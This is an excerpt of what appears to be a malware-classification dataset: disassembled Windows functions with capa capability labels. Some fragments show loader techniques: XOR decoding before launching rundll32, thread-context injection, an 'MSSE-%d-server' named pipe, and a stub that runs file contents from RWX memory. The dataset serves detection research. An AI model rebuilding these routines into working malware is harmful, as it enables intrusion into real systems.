joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100845b0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0xbc]
test ecx, ecx
je 0x1008472d
mov eax, dword [edi + 0xb0]
test eax, eax
je 0x1008472d
cmp dword [eax], 0
jne 0x1008472d
call fcn.10084200
test al, al
jne 0x1008472d
mov ecx, dword [edi + 0xb0]
call fcn.10084200
test al, al
jne 0x1008472d
mov ecx, dword [edi + 0xb8]
test ecx, ecx
je 0x1008462f
cmp dword [ecx], 0
jne 0x1008462f
call fcn.10084200
test al, al
jne 0x1008462f
push dword [edi + 0xb8]
call sub.msvcrt.dll_free
push dword [edi + 0xbc]
call fcn.10084410
add esp, 8
mov ecx, dword [edi + 0xb4]
test ecx, ecx
je 0x10084714
cmp dword [ecx], 0
jne 0x10084714
call fcn.10084200
test al, al
jne 0x10084714
push dword [edi + 0xb4]
call sub.msvcrt.dll_free
mov esi, dword [edi + 0xbc]
add esp, 4
test esi, esi
je 0x10084714
mov ecx, dword [esi]
test ecx, ecx
je 0x10084688
call fcn.10084200
test al, al
jne 0x10084688
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x100846a3
call fcn.10084200
test al, al
jne 0x100846a3
push dword [esi + 4]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x100846be
call fcn.10084200
test al, al
jne 0x100846be
push dword [esi + 8]
call sub.msvcrt.dll_free
add esp, 4
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60001
jb 0x10084714
mov ecx, dword [esi + 0x30]
test ecx, ecx
je 0x100846f9
call fcn.10084200
test al, al
jne 0x100846f9
push dword [esi + 0x30]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x34]
test ecx, ecx
je 0x10084714
call fcn.10084200
test al, al
jne 0x10084714
push dword [esi + 0x34]
call sub.msvcrt.dll_free
add esp, 4
push dword [edi + 0xb0]
call sub.msvcrt.dll_free
push dword [edi + 0xbc]
call sub.msvcrt.dll_free
add esp, 8
mov ecx, dword [edi + 0xc0]
test ecx, ecx
je 0x10084793
cmp dword [ecx], 0
jne 0x10084793
call fcn.10084200
test al, al
jne 0x10084793
mov eax, dword [edi + 0xc4]
sub eax, 0xfe
push eax
call sub.msvcrt.dll_free
mov eax, dword [edi + 0xcc]
add esp, 4
sub eax, 0x80
je 0x1008476f
push eax
call sub.msvcrt.dll_free
add esp, 4
mov eax, dword [edi + 0xd0]
sub eax, 0x80
je 0x10084785
push eax
call sub.msvcrt.dll_free
add esp, 4
push dword [edi + 0xc0]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [edi + 0xd4]
test ecx, ecx
je 0x100847c8
cmp dword [ecx + 0xb4], 0
jne 0x100847c8
call fcn.10084200
test al, al
jne 0x100847c8
push dword [edi + 0xd4]
call fcn.10084260
push dword [edi + 0xd4]
call sub.msvcrt.dll_free
add esp, 8
lea esi, [edi + 0x48]
lea ebx, [edi + 0xa8]
cmp esi, ebx
je 0x1008480c
mov ecx, dword [esi]
test ecx, ecx
je 0x100847e0
call fcn.10084200
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x10084805
call fcn.10084200
test al, al
jne 0x10084805
mov eax, dword [esi + 0xc]
test eax, eax
je 0x10084805
cmp dword [eax], 0
jne 0x10084805
push eax
call sub.msvcrt.dll_free
add esp, 4
add esi, 0x10
cmp esi, ebx
jne 0x100847d5
push edi
call sub.msvcrt.dll_free
add esp, 4
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x100848d0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
mov eax, dword [0x100d2080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1018931c]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x508], ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
test eax, eax
jne 0x1008491e
push str._create_locale
call fcn.10086710
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x508]
test eax, eax
jne 0x10084919
or eax, 0xffffffff
mov dword [0x1018931c], eax
lea edi, [eax + 1]
neg edi
sbb edi, edi
and edi, eax
je 0x10084a3e
test esi, esi
je 0x1008495f
push 0x2d
push esi
call sub.msvcrt.dll_strchr
add esp, 8
test eax, eax
je 0x1008495f
xor ecx, ecx
mov al, byte [esi + ecx]
lea edx, [ecx + ecx]
test al, al
je 0x1008497c
cbw
inc ecx
mov word [ebp + edx - 0x204], ax
cmp ecx, 0x100
jne 0x10084942
push esi
push dword [ebp - 0x508]
call edi
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007a70c
mov esp, ebp
pop ebp
ret
cmp edx, 0x200
jae 0x10084b07
xor eax, eax
mov word [ebp + edx - 0x204], ax
lea eax, [ebp - 0x204]
push 0x2d
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
test eax, eax
je 0x1008495f
mov ebx, dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
lea eax, [ebp - 0x504]
push 0xff
push eax
push 0x1001
lea eax, [ebp - 0x204]
push eax
call ebx
test eax, eax
je 0x1008495f
lea edx, [ebp - 0x504]
mov ecx, 0x5f
lea edx, [edx + eax*2]
mov word [edx - 2], cx
mov ecx, 0x100
sub ecx, eax
lea eax, [ebp - 0x204]
push ecx
push edx
push 0x1002
push eax
call ebx
test eax, eax
je 0x1008495f
lea ebx, [ebp - 0x504]
xor eax, eax
jmp 0x10084a10
movzx ecx, word [ebx + eax*2]
lea edx, [ebp - 0x304]
test cx, cx
je 0x10084a2f
mov byte [edx + eax], cl
inc eax
cmp eax, 0x100
jne 0x10084a10
jmp 0x1008495f
mov byte [edx + eax], 0
lea esi, [ebp - 0x304]
jmp 0x1008495f
cmp ecx, 5
ja 0x10084ae7
test esi, esi
je 0x10084ae7
call fcn.10084c70
mov edi, eax
test edi, edi
je 0x10084af2
call fcn.1007b220
mov ebx, eax
push esi
push dword [ebp - 0x508]
mov eax, dword [ebx + 0x70]
mov dword [ebp - 0x50c], eax
or eax, 2
mov dword [ebx + 0x70], eax
call fcn.10084d80
add esp, 8
test eax, eax
je 0x10084aa2
mov eax, dword [ebx + 0x6c]
push dword [eax + 4]
call sub.msvcrt.dll__setmbcp
add esp, 4
test eax, eax
jne 0x10084aa2
call fcn.10084c70
mov esi, eax
jmp 0x10084aa4
xor esi, esi
mov eax, dword [ebp - 0x50c]
mov ecx, dword [ebx + 0x6c]
mov dword [ebx + 0x70], eax
mov eax, dword [edi]
cmp eax, ecx
je 0x10084abb
mov dword [edi], ecx
mov dword [ebx + 0x6c], eax
mov eax, dword [edi + 4]
mov ecx, dword [ebx + 0x68]
cmp eax, ecx
je 0x10084acb
mov dword [edi + 4], ecx
mov dword [ebx + 0x68], eax
push edi
call fcn.10084b10
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007a70c
mov esp, ebp
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
mov ecx, dword [ebp - 4]
xor esi, esi
pop edi
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.1007a70c
mov esp, ebp
pop ebp
ret
call fcn.1007affc
int3
Function at 0x10084d80
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
mov eax, dword [0x100d2080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x10084e7b
push 0x2d
push esi
call sub.msvcrt.dll_strchr
add esp, 8
test eax, eax
je 0x10084e7b
xor ecx, ecx
mov al, byte [ecx + esi]
lea edx, [ecx + ecx]
test al, al
je 0x10084dda
cbw
inc ecx
mov word [ebp + edx - 0x204], ax
cmp ecx, 0x100
jne 0x10084db8
jmp 0x10084e7b
cmp edx, 0x200
jae 0x10084ee1
xor eax, eax
mov word [ebp + edx - 0x204], ax
lea eax, [ebp - 0x204]
push 0x2d
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
test eax, eax
je 0x10084e7b
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
lea eax, [ebp - 0x504]
push 0xff
push eax
push 0x1001
lea eax, [ebp - 0x204]
push eax
call edi
test eax, eax
je 0x10084e7a
lea edx, [ebp - 0x504]
mov ecx, 0x5f
lea edx, [edx + eax*2]
mov word [edx - 2], cx
mov ecx, 0x100
sub ecx, eax
lea eax, [ebp - 0x204]
push ecx
push edx
push 0x1002
push eax
call edi
test eax, eax
je 0x10084e7a
lea edi, [ebp - 0x504]
xor eax, eax
nop
movzx ecx, word [edi + eax*2]
lea edx, [ebp - 0x304]
test cx, cx
je 0x10084ec3
mov byte [edx + eax], cl
inc eax
cmp eax, 0x100
jne 0x10084e60
pop edi
mov eax, dword [0x10189324]
test eax, eax
jne 0x10084ea1
push str.setlocale
call fcn.10086710
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10084e9c
or eax, 0xffffffff
mov dword [0x10189324], eax
lea ecx, [eax + 1]
neg ecx
sbb ecx, ecx
and ecx, eax
je 0x10084ecf
push esi
push ebx
call ecx
add esp, 8
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007a70c
mov esp, ebp
pop ebp
ret
mov byte [edx + eax], 0
lea esi, [ebp - 0x304]
jmp 0x10084e7a
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1007a70c
mov esp, ebp
pop ebp
ret
call fcn.1007affc
int3
Function at 0x10085560
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call sym.steam_api.dll_SteamAPI_ISteamController_GetControllerState
mov esi, dword [ebp + 8]
test al, al
je 0x1008557e
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.10085590
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401585
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x2e0
mov ebx, dword [ebp + 0x10]
lea esi, [ebp - 0x2d4]
mov dword [ebp - 0x2d4], 0x10002
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
push ecx
push ecx
je 0x4015dc
mov eax, dword [ebp + 0x1c]
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [ebp - 0x224], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
push edx
push edx
je 0x4015dc
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push eax
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x4017a9
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 0x10]
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x20], edi
jmp 0x4017d6
mov eax, ecx
mov edi, 4
cdq
idiv edi
mov edi, dword [ebp - 0x20]
mov al, byte [edi + edx]
xor byte [ebx + ecx], al
inc ecx
cmp ecx, esi
jl 0x4017c2
mov dword [esp], ebx
call fcn.00401550
mov dword [ebp + 0xc], esi
mov dword [ebp + 8], ebx
mov dword [ebp + 0x10], str.rundll32.exe
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.00401690

Function at 0x4017fc
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], 0x4473f0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ebx, eax
sub esp, 0x20
lea eax, [eax - 1]
cmp eax, 0xfffffffd
ja 0x4018bf
mov dword [esp + 4], 0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
push edx
push edx
lea edx, [ebp - 0x1c]
jne 0x4018b1
jmp 0x4018bf
mov dword [esp + 0xc], edx
mov dword [ebp - 0x2c], edx
mov dword [esp + 0x10], 0
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x2c]
sub esp, 0x14
test eax, eax
je 0x4018b5
mov eax, dword [ebp - 0x1c]
add edi, eax
sub esi, eax
test esi, esi
jg 0x401880
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4018e6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], 0x4473f0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [ebp - 0x1c]
mov esi, eax
sub esp, 0x1c
xor eax, eax
cmp esi, 0xffffffff
jne 0x40197b
jmp 0x40198e
mov dword [esp + 0xc], edx
mov dword [ebp - 0x2c], edx
mov dword [esp + 0x10], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x2c]
sub esp, 0x14
test eax, eax
je 0x40197f
mov eax, dword [ebp - 0x1c]
add edi, eax
sub ebx, eax
test ebx, ebx
jg 0x40194a
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
push ecx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4019f4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov dword [esp + 0x28], 0x5c
mov dword [esp + 0x24], 0x65
mov dword [esp + 0x20], 0x70
mov dword [esp + 0x1c], 0x69
mov dword [esp + 0x18], 0x70
div ecx
mov dword [esp + 0x14], 0x5c
mov dword [esp + 0x10], 0x2e
mov dword [esp + 0xc], 0x5c
mov dword [esp + 8], 0x5c
mov dword [esp + 4], str._c_c_c_c_c_c_c_c_cMSSE__d_server
mov dword [esp], 0x4473f0
mov dword [esp + 0x2c], edx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x4018c7
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp + 8], 0
sub esp, 0x18
leave
jmp fcn.00401996

Function at 0x4020d0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.00402130
Function at 0x402620
Capabilities:
Parse pe header

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
cmp word [edx], 0x5a4d
je 0x402630
repz ret
add edx, dword [edx + 0x3c]
cmp dword [edx], 0x4550
jne 0x40262d
xor eax, eax
cmp word [edx + 0x18], 0x10b
sete al
ret

Function at 0x402bf0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4473c4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4473dc]
sub esp, 4
test ebx, ebx
je 0x402c45
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x402c3e
test esi, esi
je 0x402c3e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402c20
mov dword [esp], 0x4473c4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4002b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00400310
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push 0
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
mov esi, eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 4]
push eax
push 0x40
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407390
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b7ee0
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x4f54d8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
push 0
push 0
push 0
push 0
push 0x4d80a4
mov dword [esi + 0x54], 0
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esi], eax
test eax, eax
jne 0x4073fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esi + 0x54]
test ecx, ecx
je 0x4073f7
mov edx, dword [ecx]
push eax
push 0
call dword [edx]
xor al, al
jmp 0x4074f1
xor eax, eax
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x34], 0
mov word [ebp - 0x44], ax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
push edi
push eax
lea edx, [ebp - 0x48]
lea ecx, [ebp - 0x44]
call fcn.004077e0
add esp, 8
test al, al
jne 0x407456
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esi + 0x54]
test ecx, ecx
je 0x407452
mov edx, dword [ecx]
push eax
push 1
call dword [edx]
xor bl, bl
jmp 0x4074b9
lea ecx, [esi + 4]
lea eax, [ebp - 0x44]
cmp ecx, eax
je 0x40746a
push 0xffffffffffffffff
push 0
push eax
call fcn.00407120
mov ax, word [ebp - 0x48]
lea ecx, [esi + 0x20]
mov word [esi + 0x1c], ax
lea eax, [ebp - 0x2c]
cmp ecx, eax
je 0x407486
push 0xffffffffffffffff
push 0
push eax
call fcn.00407120
lea ecx, [esi + 0x38]
cmp ecx, ebx
je 0x407497
push 0xffffffffffffffff
push 0
push ebx
call fcn.00407120
cmp dword [edi + 0x14], 8
jb 0x40749f
mov edi, dword [edi]
push 8
push str.https:__
push edi
call fcn.00483bf8
add esp, 0xc
test eax, eax
jne 0x4074b7
mov byte [esi + 0x50], 1
mov bl, 1
cmp dword [ebp - 0x18], 8
jb 0x4074ca
push dword [ebp - 0x2c]
call fcn.00464c00
add esp, 4
xor eax, eax
mov dword [ebp - 0x18], 7
cmp dword [ebp - 0x30], 8
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], ax
jb 0x4074ef
push dword [ebp - 0x44]
call fcn.00464c00
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00482fe3
mov esp, ebp
pop ebp
ret 0xc
Function at 0x407510
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b7f18
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x4f54d8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 4], edi
lea eax, [esi + 4]
cmp dword [eax + 0x14], 8
movzx ecx, word [esi + 0x1c]
jb 0x407551
mov eax, dword [eax]
push 1
push 0
push 3
push 0
push 0
push ecx
push eax
push dword [esi]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [ebp - 0x20], eax
test eax, eax
jne 0x40758b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esi + 0x54]
mov edx, eax
test ecx, ecx
je 0x407659
mov eax, dword [ecx]
push edx
push 2
call dword [eax]
jmp 0x407659
cmp byte [esi + 0x50], 0
lea ecx, [esi + 0x20]
mov edx, 0x84001081
mov dword [ebp - 0x18], 0x4d8464
mov edi, 0x84801081
mov dword [ebp - 0x14], 0
cmovne edx, edi
lea ebx, [esi + 0x38]
cmp dword [ecx + 0x14], 8
jb 0x4075b8
mov ecx, dword [ecx]
push 1
push edx
lea edx, [ebp - 0x18]
push edx
push 0
push str.HTTP_1.1
push ecx
push 0x4d8480
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x407645
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x4075e7
mov ebx, dword [ebx]
push 0
push 0
push eax
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x407645
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x20]
call fcn.00407750
test al, al
jne 0x40761e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esi + 0x54]
test ecx, ecx
je 0x407659
push eax
push 7
jmp 0x407655
mov ecx, dword [esi + 0x54]
test ecx, ecx
je 0x407636
mov eax, dword [ecx]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
mov eax, dword [eax + 4]
call eax
test al, al
je 0x407659
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
call fcn.00407690
mov bl, al
jmp 0x40765b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esi + 0x54]
test ecx, ecx
je 0x407659
push eax
push 6
mov edx, dword [ecx]
call dword [edx]
xor bl, bl
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
je 0x407668
push edi
call esi
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x407672
push eax
call esi
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407690
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x8000
mov edi, ecx
call fcn.00437117
mov ebx, dword [ebp + 8]
add esp, 4
mov esi, eax
lea ebx, [ebx]
lea eax, [ebp + 8]
mov dword [ebp + 8], 0
push eax
push 0x8000
push esi
push dword [ebx + 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4076eb
mov edx, dword [ebp + 8]
test edx, edx
je 0x4076fd
js 0x4076eb
mov ecx, dword [edi + 0x54]
test ecx, ecx
je 0x4076b0
mov eax, dword [ecx]
push edx
push esi
mov eax, dword [eax + 8]
call eax
test al, al
jne 0x4076b0
push esi
call fcn.00483bf3
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
pop ebp
ret 4
mov ecx, dword [edi + 0x54]
test ecx, ecx
je 0x407709
mov eax, dword [ecx]
call dword [eax + 0xc]
push esi
call fcn.00483bf3
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x407750
Capabilities:
Get http content length

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
push 0
lea eax, [ebp - 8]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 4]
mov dword [ebp - 8], 4
mov edi, ecx
push eax
push 0x20000013
push dword [edi + 4]
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x40778c
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
mov dword [eax], ecx
lea eax, [ebp - 8]
push 0
push eax
lea eax, [ebp - 4]
mov dword [esi], 0xffffffff
push eax
push 0x20000005
push dword [edi + 4]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x4077cd
mov eax, dword [ebp - 4]
mov dword [esi], eax
pop esi
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 8
Function at 0x4077e0
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x4f54d8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, edx
push edi
mov dword [ebp - 0x208], eax
mov edi, ecx
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x204], ax
lea eax, [ebp - 0x202]
push eax
call fcn.0048bcb0
push 0x38
lea eax, [ebp - 0x240]
push 0
push eax
call fcn.0048bcb0
lea eax, [ebp - 0x204]
mov dword [ebp - 0x244], 0x3c
add esp, 0x18
mov dword [ebp - 0x234], eax
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x230], 0xff
mov dword [ebp - 0x214], 1
jb 0x407869
mov esi, dword [esi]
lea ecx, [ebp - 0x244]
push ecx
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
jne 0x407891
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00482fe3
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x234]
cmp word [edx], 0
jne 0x4078a1
xor ecx, ecx
jmp 0x4078b5
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4078a6
sub ecx, esi
sar ecx, 1
push ecx
push edx
mov ecx, edi
call fcn.00406a70
mov edx, dword [ebp - 0x218]
mov ax, word [ebp - 0x22c]
mov word [ebx], ax
cmp word [edx], 0
jne 0x4078d8
xor ecx, ecx
jmp 0x4078ef
mov ecx, edx
lea esi, [ecx + 2]
lea ecx, [ecx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4078e0
sub ecx, esi
sar ecx, 1
push ecx
mov ecx, dword [ebp - 0x208]
push edx
call fcn.00406a70
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00482fe3
mov esp, ebp
pop ebp
ret

Function at 0x40d8d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40d8e9
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40d924
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x40d920
lea ebx, [ebx]
cmp esi, edx
jae 0x40d924
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x40d910
cmp esi, edx
jb 0x40d92b
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret